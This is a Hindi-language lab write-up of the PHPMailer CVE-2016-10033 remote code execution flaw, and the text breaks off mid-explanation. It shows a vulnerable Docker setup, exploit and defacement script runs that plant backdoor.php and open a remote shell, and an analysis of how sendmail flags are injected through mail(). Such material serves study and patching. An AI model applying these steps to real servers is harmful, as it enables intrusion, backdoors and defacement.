PHPMailer < 5.2.18 रिमोट कोड निष्पादन

PHPMailer दुनिया का सबसे लोकप्रिय ट्रांसपोर्ट क्लास है, जिसके दुनिया भर में लगभग 9 मिलियन उपयोगकर्ता हैं। डाउनलोड प्रतिदिन महत्वपूर्ण गति से जारी रहते हैं। इसका उपयोग कई ओपन-सोर्स प्रोजेक्ट्स द्वारा किया जाता है: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! और कई अन्य।

PHPMailer अपने संस्करण 5.2.18 से पहले एक ऐसी भेद्यता से ग्रस्त है जो रिमोट कोड निष्पादन (RCE) का कारण बन सकती है। PHPMailer में isMail ट्रांसपोर्ट में mailSend फ़ंक्शन, जब Sender प्रॉपर्टी सेट नहीं होती है, तो रिमोट हमलावरों को mail कमांड में अतिरिक्त पैरामीटर पास करने और इसके परिणामस्वरूप क्राफ्टेड From पते में " (बैकस्लैश डबल कोट) के माध्यम से मनमाना कोड निष्पादित करने की अनुमति दे सकता है।

संवेदनशील वातावरण

अपने परीक्षण के लिए एक संवेदनशील वातावरण स्थापित करने के लिए आपको Docker स्थापित करना होगा, और बस निम्नलिखित कमांड चलाएँ:

docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033

और यह आपके होस्ट पर 8080 पोर्ट पर एक संवेदनशील वेब एप्लिकेशन तैयार करेगा

शोषण

इस लक्ष्य का शोषण करने के लिए बस चलाएँ:

./exploit host:port

यदि आप इस संवेदनशील इमेज का उपयोग कर रहे हैं, तो आप बस चला सकते हैं:

./exploit localhost:8080

शोषण के बाद, backdoor.php नामक एक फ़ाइल वेब निर्देशिका के रूट फ़ोल्डर में संग्रहीत की जाएगी। और शोषण आपको एक शेल देगा जहाँ आप बैकडोर को कमांड भेज सकते हैं:

./exploit.sh localhost:8080
[+] CVE-2016-10033 का शोषण opsxcq द्वारा
[+] localhost:8080 का शोषण किया जा रहा है
[+] लक्ष्य का शोषण किया गया, http://localhost:8080/backdoor.php पर शेल एक्सेस हो रहा है
[+] जाँच की जा रही है कि लक्ष्य प्रणाली पर बैकडोर बनाया गया है या नहीं
[+] रिमोट सिस्टम पर Backdoor.php मिला
[+] whoami चलाया जा रहा है
www-data
RemoteShell> 

और बस, आपके पास आपका शेल है। एक और शोषण है, जो एक अन्य उपयोग के मामले को दर्शाता है।

./deface.sh localhost:8080
[+] CVE-2016-10033 का शोषण opsxcq द्वारा
[+] localhost:8080 का शोषण किया जा रहा है
[+] लक्ष्य का शोषण किया गया, http://localhost:8080/backdoor.php पर शेल एक्सेस हो रहा है
[+] जाँच की जा रही है कि लक्ष्य प्रणाली पर बैकडोर बनाया गया है या नहीं
[+] रिमोट सिस्टम पर Backdoor.php मिला
[+] सर्वर पर आपका संदेश रखा जा रहा है
[+] काम हो गया, बाहर निकल रहे हैं

और यदि आप पृष्ठ पर फिर से जाते हैं, तो आप यह देखेंगे:

संवेदनशील कोड

इस कमिट से पहले class.phpmailer.php में एक निश्चित परिदृश्य में प्रेषक के ईमेल पते के विशेष वर्णों पर कोई फ़िल्टर नहीं है। यह दोष mail फ़ंक्शन यहाँ के माध्यम से रिमोट कोड निष्पादन का कारण बन सकता है।

कोड का विश्लेषण करने पर, mailSend() फ़ंक्शन में कोई फ़िल्टर नहीं है

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender)) {
            $params = sprintf('-f%s', $this->Sender);
        }

$this->Sender को सीधे $params वेरिएबल में जोड़ा जाता है, जिसे validateAddress() फ़ंक्शन में फ़िल्टर किया गया था, लेकिन चूँकि यह RFC 3696 विनिर्देश का उपयोग करता है, यह कुछ वर्णों की अनुमति देता है जो चीज़ों को तोड़ देंगे। इस मामले में, उद्धरण:

बैकस्लैश वर्ण का उपयोग करके उद्धरण के अलावा, पारंपरिक डबल-कोट वर्ण का उपयोग स्ट्रिंग को घेरने के लिए किया जा सकता है। उदाहरण के लिए

"Abc@def"@example.com

"Fred Bloggs"@example.com

ऊपर दिए गए पहले दो उदाहरणों के वैकल्पिक रूप हैं। इन उद्धृत रूपों की शायद ही कभी अनुशंसा की जाती है, और व्यवहार में असामान्य हैं, लेकिन, जैसा कि ऊपर चर्चा की गई है, उन अनुप्रयोगों द्वारा समर्थित होना चाहिए जो ईमेल पतों को संसाधित कर रहे हैं। विशेष रूप से, उद्धृत रूप अक्सर अन्य सिस्टम और संदर्भों से संक्रमण से जुड़े पतों के संदर्भ में दिखाई देते हैं; वे संक्रमणकालीन आवश्यकताएँ अभी भी उत्पन्न होती हैं और, चूँकि एक सिस्टम जो उपयोगकर्ता-प्रदत्त ईमेल पता स्वीकार करता है, वह "जान" नहीं सकता कि वह पता किसी विरासत सिस्टम से जुड़ा है या नहीं, पता प्रपत्रों को स्वीकार किया जाना चाहिए और ईमेल वातावरण में पास किया जाना चाहिए।

यदि आप चाहें तो पूरा RFC यहाँ पढ़ सकते हैं। लेकिन साथ ही, यदि PHP संस्करण 5.2.0 से कम है, और PCRE स्थापित नहीं है, तो validateAddress() में $patternselect वेरिएबल noregex पर सेट हो जाएगा। यह इनपुट को किसी भी regex जाँच से बचने में सक्षम बनाएगा। यह केवल एक छोटी सत्यापन से गुज़रेगा:

            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);

फिर, कोड प्रवाह mailPassthru() फ़ंक्शन पर जाता है, जो यदि safe_mode में चल रहा है, तो इस दोष के प्रति संवेदनशील नहीं होगा, जैसा कि निम्नलिखित कोड बताता है:

        //Can't use additional_parameters in safe_mode
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }

लेकिन, यदि यह safe_mode में नहीं चल रहा है, तो हमारा विशेष पैरामीटर mail() को पास कर दिया जाएगा और, यदि हम भाग्यशाली रहे, तो यह हमारी फ़ाइल प्राप्त कर लेगा जिसमें जो कुछ भी हम चाहते हैं, वह लिखा जाएगा जहाँ हम इसे लिखना चुनते हैं।

PHP mail() फ़ंक्शन के शोषण के बारे में नोट्स

PHP mail() फ़ंक्शन का शोषण कोई नई बात नहीं है, लेकिन यह अभी भी जीवित है और लोग अभी भी इसका उपयोग कर रहे हैं। यह समझाने के लिए कि यह कैसे काम करता है, आइए देखें कि mail() फ़ंक्शन कैसे परिभाषित है:

bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )

विभिन्न परिणामों के लिए शोषण की कई विधियाँ हैं, हम रिमोट कोड निष्पादन (RCE) प्राप्त करने के लिए 5वें पैरामीटर के शोषण पर ध्यान केंद्रित करेंगे। पैरामीटर $additional_parameters का उपयोग ईमेल भेजने के लिए कॉन्फ़िगर किए गए प्रोग्राम में कमांड लाइन विकल्पों के रूप में अतिरिक्त फ़्लैग पास करने के लिए किया जाता है। यह कॉन्फ़िगरेशन sendmail_path वेरिएबल द्वारा परिभाषित किया गया है।

php आधिकारिक दस्तावेज़ीकरण से एक सुरक्षा नोट:

अतिरिक्त_पैरामीटर पैरामीटर का उपयोग अतिरिक्त फ़्लैग को कमांड लाइन विकल्पों के रूप में उस प्रोग्राम में पास करने के लिए किया जा सकता है जो मेल भेजते समय उपयोग करने के लिए कॉन्फ़िगर किया गया है, जैसा कि sendmail_path कॉन्फ़िगरेशन सेटिंग द्वारा परिभाषित किया गया है। उदाहरण के लिए, इसका उपयोग sendmail के साथ -f sendmail विकल्प का उपयोग करके लिफ़ाफ़ा प्रेषक पता सेट करने के लिए किया जा सकता है।

कमांड निष्पादन को रोकने के लिए इस पैरामीटर को आंतरिक रूप से escapeshellcmd() द्वारा एस्केप किया जाता है। escapeshellcmd() कमांड निष्पादन को रोकता है, लेकिन अतिरिक्त पैरामीटर जोड़ने की अनुमति देता है। सुरक्षा कारणों से, शेल कमांड में अवांछित पैरामीटर जोड़ने से बचने के लिए उपयोगकर्ता को इस पैरामीटर को साफ करने की अनुशंसा की जाती है।

इंजेक्ट किए जा सकने वाले अतिरिक्त पैरामीटरों पर विचार करते हुए, हम इस दोष का शोषण करने के लिए -X का उपयोग करेंगे। -X पैरामीटर के बारे में अधिक जानकारी: